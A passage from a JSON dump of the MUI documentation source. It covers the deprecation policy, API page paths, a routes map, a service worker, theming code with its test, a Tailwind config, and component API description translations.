[milestones](https://github.com/mui/material-ui/milestones) for a more detailed overview.\n\n:::warning\n**Disclaimer**: We operate in a dynamic environment, and things are subject to change. The information provided is intended to outline the general framework direction, for informational purposes only. We may decide to add or remove new items at any time, depending on our capability to deliver while meeting our quality standards. The development, releases, and timing of any features or functionality remain at the sole discretion of MUI. The roadmap does not represent a commitment, obligation, or promise to deliver at any time.\n:::\n\n## Deprecation practices\n\nSometimes \"breaking changes\", such as the removal of support for select APIs and features, are necessary.\nTo make these transitions as easy as possible:\n\n- The number of breaking changes is minimized, and migration tools are provided when possible (for example codemods).\n- The deprecation policy described below is followed so that you have time to update your apps to the latest APIs and best practices.\n\n### Deprecation policy\n\n- Deprecated features are announced in the changelog, and when possible, with warnings at runtime.\n- When a deprecation is announced, recommended update path is provided.\n- Existing use of a stable API during the deprecation period is supported, so your code will keep working during that period.\n"
  },
  {
    "path": "docs/src/pagesApi.js",
    "content": "module.exports = [\n  { pathname: '/api-docs/accordion' },\n  { pathname: '/api-docs/accordion-actions' },\n  { pathname: '/api-docs/accordion-details' },\n  { pathname: '/api-docs/accordion-summary' },\n  { pathname: '/api-docs/alert' },\n  { pathname: '/api-docs/alert-title' },\n  { pathname: '/api-docs/app-bar' },\n  { pathname: '/api-docs/autocomplete' },\n  { pathname: '/api-docs/avatar' },\n  { pathname: '/api-docs/avatar-group' },\n  { pathname: '/api-docs/backdrop' },\n  { pathname: '/api-docs/badge' },\n  { pathname: '/api-docs/bottom-navigation' },\n  { pathname: '/api-docs/bottom-navigation-action' },\n  { pathname: '/api-docs/breadcrumbs' },\n  { pathname: '/api-docs/button' },\n  { pathname: '/api-docs/button-base' },\n  { pathname: '/api-docs/button-group' },\n  { pathname: '/api-docs/card' },\n  { pathname: '/api-docs/card-action-area' },\n  { pathname: '/api-docs/card-actions' },\n  { pathname: '/api-docs/card-content' },\n  { pathname: '/api-docs/card-header' },\n  { pathname: '/api-docs/card-media' },\n  { pathname: '/api-docs/checkbox' },\n  { pathname: '/api-docs/chip' },\n  { pathname: '/api-docs/circular-progress' },\n  { pathname: '/api-docs/collapse' },\n  { pathname: '/api-docs/container' },\n  { pathname: '/api-docs/css-baseline' },\n  { pathname: '/api-docs/dialog' },\n  { pathname: '/api-docs/dialog-actions' },\n  { pathname: '/api-docs/dialog-content' },\n  { pathname: '/api-docs/dialog-content-text' },\n  { pathname: '/api-docs/dialog-title' },\n  { pathname: '/api-docs/divider' },\n  { pathname: '/api-docs/drawer' },\n  { pathname: '/api-docs/fab' },\n  { pathname: '/api-docs/fade' },\n  { pathname: '/api-docs/filled-input' },\n  { pathname: '/api-docs/form-control' },\n  { pathname: '/api-docs/form-control-label' },\n  { pathname: '/api-docs/form-group' },\n  { pathname: '/api-docs/form-helper-text' },\n  { pathname: '/api-docs/form-label' },\n  { pathname: '/api-docs/global-styles' },\n  { pathname: '/api-docs/grid' },\n  { pathname: '/api-docs/grow' },\n  { pathname: '/api-docs/icon' },\n  { pathname: '/api-docs/icon-button' },\n  { pathname: '/api-docs/image-list' },\n  { pathname: '/api-docs/image-list-item' },\n  { pathname: '/api-docs/image-list-item-bar' },\n  { pathname: '/api-docs/input' },\n  { pathname: '/api-docs/input-adornment' },\n  { pathname: '/api-docs/input-base' },\n  { pathname: '/api-docs/input-label' },\n  { pathname: '/api-docs/linear-progress' },\n  { pathname: '/api-docs/link' },\n  { pathname: '/api-docs/list' },\n  { pathname: '/api-docs/list-item' },\n  { pathname: '/api-docs/list-item-avatar' },\n  { pathname: '/api-docs/list-item-button' },\n  { pathname: '/api-docs/list-item-icon' },\n  { pathname: '/api-docs/list-item-secondary-action' },\n  { pathname: '/api-docs/list-item-text' },\n  { pathname: '/api-docs/list-subheader' },\n  { pathname: '/api-docs/masonry' },\n  { pathname: '/api-docs/menu' },\n  { pathname: '/api-docs/menu-item' },\n  { pathname: '/api-docs/menu-list' },\n  { pathname: '/api-docs/mobile-stepper' },\n  { pathname: '/api-docs/modal' },\n  { pathname: '/api-docs/native-select' },\n  { pathname: '/api-docs/outlined-input' },\n  { pathname: '/api-docs/pagination' },\n  { pathname: '/api-docs/pagination-item' },\n  { pathname: '/api-docs/paper' },\n  { pathname: '/api-docs/popover' },\n  { pathname: '/api-docs/popper' },\n  { pathname: '/api-docs/radio' },\n  { pathname: '/api-docs/radio-group' },\n  { pathname: '/api-docs/rating' },\n  { pathname: '/api-docs/scoped-css-baseline' },\n  { pathname: '/api-docs/select' },\n  { pathname: '/api-docs/skeleton' },\n  { pathname: '/api-docs/slide' },\n  { pathname: '/api-docs/slider' },\n  { pathname: '/api-docs/snackbar' },\n  { pathname: '/api-docs/snackbar-content' },\n  { pathname: '/api-docs/speed-dial' },\n  { pathname: '/api-docs/speed-dial-action' },\n  { pathname: '/api-docs/speed-dial-icon' },\n  { pathname: '/api-docs/stack' },\n  { pathname: '/api-docs/step' },\n  { pathname: '/api-docs/step-button' },\n  { pathname: '/api-docs/step-connector' },\n  { pathname: '/api-docs/step-content' },\n  { pathname: '/api-docs/step-icon' },\n  { pathname: '/api-docs/step-label' },\n  { pathname: '/api-docs/stepper' },\n  { pathname: '/api-docs/svg-icon' },\n  { pathname: '/api-docs/swipeable-drawer' },\n  { pathname: '/api-docs/switch' },\n  { pathname: '/api-docs/tab' },\n  { pathname: '/api-docs/tab-context' },\n  { pathname: '/api-docs/table' },\n  { pathname: '/api-docs/table-body' },\n  { pathname: '/api-docs/table-cell' },\n  { pathname: '/api-docs/table-container' },\n  { pathname: '/api-docs/table-footer' },\n  { pathname: '/api-docs/table-head' },\n  { pathname: '/api-docs/table-pagination' },\n  { pathname: '/api-docs/table-row' },\n  { pathname: '/api-docs/table-sort-label' },\n  { pathname: '/api-docs/tab-list' },\n  { pathname: '/api-docs/tab-panel' },\n  { pathname: '/api-docs/tabs' },\n  { pathname: '/api-docs/tab-scroll-button' },\n  { pathname: '/api-docs/textarea-autosize' },\n  { pathname: '/api-docs/text-field' },\n  { pathname: '/api-docs/timeline' },\n  { pathname: '/api-docs/timeline-connector' },\n  { pathname: '/api-docs/timeline-content' },\n  { pathname: '/api-docs/timeline-dot' },\n  { pathname: '/api-docs/timeline-item' },\n  { pathname: '/api-docs/timeline-opposite-content' },\n  { pathname: '/api-docs/timeline-separator' },\n  { pathname: '/api-docs/toggle-button' },\n  { pathname: '/api-docs/toggle-button-group' },\n  { pathname: '/api-docs/toolbar' },\n  { pathname: '/api-docs/tooltip' },\n  { pathname: '/api-docs/tree-item' },\n  { pathname: '/api-docs/tree-view' },\n  { pathname: '/api-docs/typography' },\n  { pathname: '/api-docs/zoom' },\n];\n"
  },
  {
    "path": "docs/src/route.ts",
    "content": "const ROUTES = {\n  // Marketing pages\n  productCore: '/core/',\n  productMaterial: '/material-ui/',\n  productAdvanced: '/x/',\n  productToolpad: '/toolpad/',\n  productTemplates: '/templates/',\n  productDesignKits: '/design-kits/',\n  careers: '/careers/',\n  pricing: '/pricing/',\n  about: '/about/',\n  blog: '/blog/',\n  customers: '/customers/',\n  // Material UI doc pages\n  materialDocs: '/material-ui/getting-started/',\n  materialIcons: '/material-ui/material-icons/',\n  materialAllComponents: '/material-ui/all-components/',\n  freeTemplates: '/material-ui/getting-started/templates/',\n  components: '/material-ui/getting-started/supported-components/',\n  customization: '/material-ui/customization/how-to-customize/',\n  theming: '/material-ui/customization/theming/',\n  documentation: '/material-ui/getting-started/',\n  showcase: '/material-ui/discover-more/showcase/',\n  coreRoadmap: '/material-ui/discover-more/roadmap/',\n  vision: '/material-ui/discover-more/vision/',\n  support: '/material-ui/getting-started/support/',\n  goldSponsor: '/material-ui/discover-more/backers/#gold-sponsors',\n  // Base UI doc pages\n  baseDocs: 'https://base-ui.com/',\n  baseComponents: 'https://base-ui.com/react/components',\n  baseQuickstart: 'https://base-ui.com/react/overview/quick-start',\n  // Joy UI doc pages\n  joyDocs: '/joy-ui/getting-started/',\n  // System pages\n  systemDocs: '/system/getting-started/',\n  // X general pages\n  xIntro: '/x/introduction/',\n  xRoadmap: 'https://github.com/orgs/mui/projects/35',\n  xLicensing: '/x/introduction/licensing/',\n  // Data Grid doc pages\n  dataGridOverview: '/x/react-data-grid/',\n  dataGridDocs: '/x/react-data-grid/quickstart/',\n  dataGridFeatures: '/x/react-data-grid/features/',\n  dataGridFeaturesComparison: '/x/react-data-grid/features/',\n  // Date and Time Pickers doc pages\n  datePickersOverview: '/x/react-date-pickers/',\n  // Charts doc pages\n  chartsOverview: '/x/react-charts/',\n  // Tree View doc pages\n  treeViewOverview: '/x/react-tree-view/',\n  // Toolpad pages\n  toolpadLandingPage: '/toolpad/',\n  toolpadStudioLandingPage: '/toolpad/studio/',\n  toolpadStudioDocs: '/toolpad/studio/getting-started/',\n  toolpadCoreDocs: '/toolpad/core/introduction/',\n  toolpadStudioWhy: '/toolpad/studio/getting-started/why-toolpad/',\n  // External pages\n  rssFeed: '/feed/blog/rss.xml',\n  handbook: 'https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b',\n  privacyPolicy: 'https://mui.com/legal/privacy/',\n  store: 'https://mui.com/store/',\n};\n\nexport default ROUTES;\n"
  },
  {
    "path": "docs/src/sw.js",
    "content": "/* global self */\n// https://github.com/airbnb/javascript/issues/1632\n\n// See https://developer.chrome.com/docs/workbox/remove-buggy-service-workers/\nself.addEventListener('install', () => {\n  // Skip over the \"waiting\" lifecycle state, to ensure that our\n  // new service worker is activated immediately, even if there's\n  // another tab open controlled by our older service worker code.\n  self.skipWaiting();\n});\nself.addEventListener('message', () => {\n  // Optional: Get a list of all the current open windows/tabs under\n  // our service worker's control, and force them to reload.\n  // This can \"unbreak\" any open windows/tabs as soon as the new\n  // service worker activates, rather than users having to manually reload.\n  self.clients.matchAll({ type: 'window' }).then((windowClients) => {\n    windowClients.forEach((windowClient) => {\n      windowClient.navigate(windowClient.url);\n    });\n  });\n});\n"
  },
  {
    "path": "docs/src/theming.test.tsx",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer, fireEvent, screen } from '@mui/internal-test-utils';\nimport { ThemeProvider, createTheme, useColorScheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport { DemoInstanceThemeProvider } from './theming';\n\nfunction DarkMode() {\n  const { mode, setMode } = useColorScheme();\n  return <button onClick={() => setMode('dark')}>{mode}</button>;\n}\n\nfunction UpperProvider({ children }: React.PropsWithChildren) {\n  return (\n    <ThemeProvider\n      storageManager={null}\n      defaultMode=\"light\"\n      theme={createTheme({ colorSchemes: { light: true, dark: true } })}\n    >\n      <DarkMode />\n      {children}\n    </ThemeProvider>\n  );\n}\n\ndescribe('docs demo theming', () => {\n  const { render } = createRenderer();\n\n  it('should inherit the theme.palette.mode from upper theme', () => {\n    render(\n      <UpperProvider>\n        <DemoInstanceThemeProvider runtimeTheme={undefined}>\n          <Box\n            data-testid=\"foo\"\n            sx={(theme) => ({\n              mixBlendMode: theme.palette.mode === 'dark' ? 'darken' : 'lighten',\n            })}\n          />\n        </DemoInstanceThemeProvider>\n      </UpperProvider>,\n    );\n\n    expect(screen.getByRole('button')).to.have.text('light');\n    expect(screen.getByTestId('foo')).toHaveComputedStyle({ mixBlendMode: 'lighten' });\n\n    fireEvent.click(screen.getByRole('button'));\n\n    expect(screen.getByRole('button')).to.have.text('dark');\n    expect(screen.getByTestId('foo')).toHaveComputedStyle({ mixBlendMode: 'darken' });\n  });\n});\n"
  },
  {
    "path": "docs/src/theming.tsx",
    "content": "import * as React from 'react';\nimport { deepmerge } from '@mui/utils';\nimport { ThemeProvider, createTheme, useTheme } from '@mui/material/styles';\nimport { ThemeOptionsContext, highDensity } from '@mui/docs/ThemeContext';\nimport { BrandingCssVarsProvider } from '@mui/docs/branding';\n\nconst defaultTheme = createTheme({\n  colorSchemes: { light: true, dark: true },\n  cssVariables: {\n    colorSchemeSelector: 'data-mui-color-scheme',\n  },\n});\n\nexport function DemoPageThemeProvider({ children }: React.PropsWithChildren<{}>) {\n  const themeOptions = React.useContext(ThemeOptionsContext);\n  return (\n    <BrandingCssVarsProvider {...themeOptions}>\n      {/* The ThemeProvider below generate default Material UI CSS variables and attach to html for all the demo on the page */}\n      {/* This is more performant than generating variables in each demo. */}\n      <ThemeProvider theme={defaultTheme} />\n      {children}\n    </BrandingCssVarsProvider>\n  );\n}\n\nexport function DemoInstanceThemeProvider({\n  children,\n  runtimeTheme,\n}: React.PropsWithChildren<{ runtimeTheme: any }>) {\n  const { dense, direction } = React.useContext(ThemeOptionsContext);\n  const upperTheme = useTheme();\n  const upperMode = upperTheme?.palette?.mode;\n\n  const theme = React.useMemo(() => {\n    const resultTheme = createTheme(\n      {\n        cssVariables: {\n          colorSchemeSelector: 'data-mui-color-scheme',\n        },\n        colorSchemes: {\n          light: true,\n          dark: true,\n        },\n        direction: direction as 'ltr' | 'rtl',\n      },\n      dense ? highDensity : {},\n    );\n    if (upperMode) {\n      Object.assign(resultTheme, resultTheme.colorSchemes[upperMode]);\n    }\n    if (runtimeTheme && Object.prototype.toString.call(runtimeTheme) === '[object Object]') {\n      try {\n        return deepmerge(resultTheme, runtimeTheme);\n      } catch {\n        return resultTheme;\n      }\n    }\n    return resultTheme;\n  }, [runtimeTheme, dense, direction, upperMode]);\n\n  return (\n    /* - use a function to ensure that the upper theme (branding theme) is not spread to the demo theme */\n    /* - a function will skip the CSS vars generation logic */\n    <ThemeProvider theme={() => theme}>{children}</ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/tailwind.config.mjs",
    "content": "/** @type {import('tailwindcss/plugin')} */\nimport plugin from 'tailwindcss/plugin';\n\nimport defaultTheme from 'tailwindcss/defaultTheme';\n\n/** @type {import('tailwindcss').Config} */\nexport default {\n  darkMode: ['class', '[data-mui-color-scheme=\"dark\"]'],\n  content: [\n    './data/**/*.{js,ts,jsx,tsx,mdx}',\n    './pages/**/*.{js,ts,jsx,tsx,mdx}',\n    './src/**/*.{js,ts,jsx,tsx,mdx}',\n  ],\n  theme: {\n    extend: {\n      animation: {\n        appear: 'in-right 200ms',\n      },\n      border: {\n        3: '3px',\n      },\n      boxShadow: {\n        'outline-purple': '0 0 0 4px rgba(192, 132, 252, 0.25)',\n        'outline-purple-light': '0 0 0 4px rgba(245, 208, 254, 0.25)',\n        'outline-purple-xs': '0 0 0 1px rgba(192, 132, 252, 0.25)',\n        'outline-switch': '0 0 1px 3px rgba(168, 85, 247, 0.35)',\n      },\n      cursor: {\n        inherit: 'inherit',\n      },\n      fontFamily: {\n        sans: ['IBM Plex Sans', ...defaultTheme.fontFamily.sans],\n      },\n      keyframes: {\n        'in-right': {\n          from: { transform: 'translateX(100%)' },\n          to: { transform: 'translateX(0)' },\n        },\n      },\n      lineHeight: {\n        5.5: '1.375rem',\n      },\n      maxWidth: {\n        snackbar: '560px',\n      },\n      minHeight: {\n        badge: '22px',\n      },\n      minWidth: {\n        badge: '22px',\n        listbox: '200px',\n        snackbar: '300px',\n        'tabs-list': '400px',\n      },\n    },\n  },\n  plugins: [\n    plugin(({ addVariant }) => {\n      [\n        'active',\n        'checked',\n        'completed',\n        'disabled',\n        'readOnly',\n        'error',\n        'expanded',\n        'focused',\n        'required',\n        'selected',\n      ].forEach((state) => {\n        addVariant(`ui-${state}`, [`&[class~=\"Mui-${state}\"]`, `&[class~=\"base--${state}\"]`]);\n        addVariant(`ui-not-${state}`, [\n          `&:not([class~=\"Mui-${state}\"])`,\n          `&:not([class~=\"base--${state}\"])`,\n        ]);\n      });\n\n      // for focus-visible, use the same selector as headlessui\n      // https://github.com/tailwindlabs/headlessui/blob/main/packages/%40headlessui-tailwindcss/src/index.ts#LL35C11-L35C11\n      addVariant(`ui-focus-visible`, [\n        `&[class~=\"Mui-focusVisible\"]`,\n        `&[class~=\"base--focusVisible\"]`,\n        `&:focus-visible`,\n      ]);\n      addVariant(`ui-not-focus-visible`, [\n        `&:not([class~=\"Mui-focusVisible\"])`,\n        `&:not([class~=\"base--focusVisible\"])`,\n      ]);\n    }),\n  ],\n};\n"
  },
  {
    "path": "docs/translations/api-docs/accordion/accordion.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"defaultExpanded\": { \"description\": \"If <code>true</code>, expands the accordion by default.\" },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"disableGutters\": {\n      \"description\": \"If <code>true</code>, it removes the margin between two expanded accordion items and prevents the increased height when expanded.\"\n    },\n    \"expanded\": {\n      \"description\": \"If <code>true</code>, expands the accordion, otherwise collapses it. Setting this prop enables control over the accordion.\"\n    },\n    \"onChange\": {\n      \"description\": \"Callback fired when the expand/collapse state is changed.\",\n      \"typeDescriptions\": {\n        \"event\": {\n          \"name\": \"event\",\n          \"description\": \"The event source of the callback. <strong>Warning</strong>: This is a generic event not a change event.\"\n        },\n        \"expanded\": {\n          \"name\": \"expanded\",\n          \"description\": \"The <code>expanded</code> state of the accordion.\"\n        }\n      }\n    },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"expanded\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>expanded={true}</code>\"\n    },\n    \"gutters\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disableGutters={true}</code>\"\n    },\n    \"rounded\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>square={true}</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"heading\": \"The component that renders the heading.\",\n    \"region\": \"The component that renders the region.\",\n    \"root\": \"The component that renders the root.\",\n    \"transition\": \"The component that renders the transition. <a href=\\\"https://mui.com/material-ui/transitions/#transitioncomponent-prop\\\">Follow this guide</a> to learn more about the requirements for this component.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/accordion-actions/accordion-actions.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"disableSpacing\": {\n      \"description\": \"If <code>true</code>, the actions do not have additional margin.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"spacing\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disableSpacing={true}</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/accordion-details/accordion-details.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": { \"root\": { \"description\": \"Styles applied to the root element.\" } }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/accordion-summary/accordion-summary.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"expandIcon\": { \"description\": \"The icon to display as the expand indicator.\" },\n    \"focusVisibleClassName\": {\n      \"description\": \"This prop can help identify which element has keyboard focus. The class name will be applied when the element gains the focus through keyboard interaction. It&#39;s a polyfill for the <a href=\\\"https://drafts.csswg.org/selectors-4/#the-focus-visible-pseudo\\\">CSS :focus-visible selector</a>. The rationale for using this feature <a href=\\\"https://github.com/WICG/focus-visible/blob/HEAD/explainer.md\\\">is explained here</a>. A <a href=\\\"https://github.com/WICG/focus-visible\\\">polyfill can be used</a> to apply a <code>focus-visible</code> class to other components if needed.\"\n    },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"expanded\": {\n      \"description\": \"State class applied to {{nodeName}}, {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"children wrapper element and <code>IconButton</code> component if <code>expanded={true}</code>\"\n    },\n    \"focusVisible\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the ButtonBase root element\",\n      \"conditions\": \"the button is keyboard focused\"\n    },\n    \"gutters\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disableGutters={true}</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"content\": \"The component that renders the content slot.\",\n    \"expandIconWrapper\": \"The component that renders the expand icon wrapper slot.\",\n    \"root\": \"The component that renders the root slot.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/alert/alert.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"action\": {\n      \"description\": \"The action to display. It renders after the message, at the end of the alert.\"\n    },\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"closeText\": {\n      \"description\": \"Override the default label for the <em>close popup</em> icon button.<br>For localization purposes, you can use the provided <a href=\\\"https://mui.com/material-ui/guides/localization/\\\">translations</a>.\"\n    },\n    \"color\": {\n      \"description\": \"The color of the component. Unless provided, the value is taken from the <code>severity</code> prop. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"icon\": {\n      \"description\": \"Override the icon displayed before the children. Unless provided, the icon is mapped to the value of the <code>severity</code> prop. Set to <code>false</code> to remove the <code>icon</code>.\"\n    },\n    \"iconMapping\": {\n      \"description\": \"The component maps the <code>severity</code> prop to a range of different icons, for instance success to <code>&lt;SuccessOutlined&gt;</code>. If you wish to change this mapping, you can provide your own. Alternatively, you can use the <code>icon</code> prop to override the icon displayed.\"\n    },\n    \"onClose\": {\n      \"description\": \"Callback fired when the component requests to be closed. When provided and no <code>action</code> prop is set, a close icon button is displayed that triggers the callback when clicked.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" }\n      }\n    },\n    \"role\": { \"description\": \"The ARIA role attribute of the element.\" },\n    \"severity\": {\n      \"description\": \"The severity of the alert. This defines the color and icon used.\"\n    },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"colorError\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"error\\\"</code>\"\n    },\n    \"colorInfo\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"info\\\"</code>\"\n    },\n    \"colorSuccess\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"success\\\"</code>\"\n    },\n    \"colorWarning\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"warning\\\"</code>\"\n    },\n    \"filled\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"filled\\\"</code>\"\n    },\n    \"outlined\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"outlined\\\"</code>\"\n    },\n    \"standard\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"standard\\\"</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"action\": \"The component that renders the action slot.\",\n    \"closeButton\": \"The component that renders the close button.\",\n    \"closeIcon\": \"The component that renders the close icon.\",\n    \"icon\": \"The component that renders the icon slot.\",\n    \"message\": \"The component that renders the message slot.\",\n    \"root\": \"The component that renders the root slot.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/alert-title/alert-title.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": { \"root\": { \"description\": \"Styles applied to the root element.\" } }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/app-bar/app-bar.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"elevation\": {\n      \"description\": \"Shadow depth, corresponds to <code>dp</code> in the spec. It accepts values between 0 and 24 inclusive.\"\n    },\n    \"enableColorOnDark\": {\n      \"description\": \"If true, the <code>color</code> prop is applied in dark mode.\"\n    },\n    \"position\": {\n      \"description\": \"The positioning type. The behavior of the different options is described <a href=\\\"https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/position\\\">in the MDN web docs</a>. Note: <code>sticky</code> is not universally supported and will fall back to <code>static</code> when unavailable.\"\n    },\n    \"square\": { \"description\": \"If <code>false</code>, rounded corners are enabled.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"colorDefault\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"default\\\"</code>\"\n    },\n    \"colorError\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"error\\\"</code>\"\n    },\n    \"colorInfo\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"info\\\"</code>\"\n    },\n    \"colorInherit\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"inherit\\\"</code>\"\n    },\n    \"colorPrimary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"primary\\\"</code>\"\n    },\n    \"colorSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"secondary\\\"</code>\"\n    },\n    \"colorSuccess\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"success\\\"</code>\"\n    },\n    \"colorTransparent\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"transparent\\\"</code>\"\n    },\n    \"colorWarning\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"warning\\\"</code>\"\n    },\n    \"positionAbsolute\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"absolute\\\"</code>\"\n    },\n    \"positionFixed\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"fixed\\\"</code>\"\n    },\n    \"positionRelative\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"relative\\\"</code>\"\n    },\n    \"positionStatic\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": 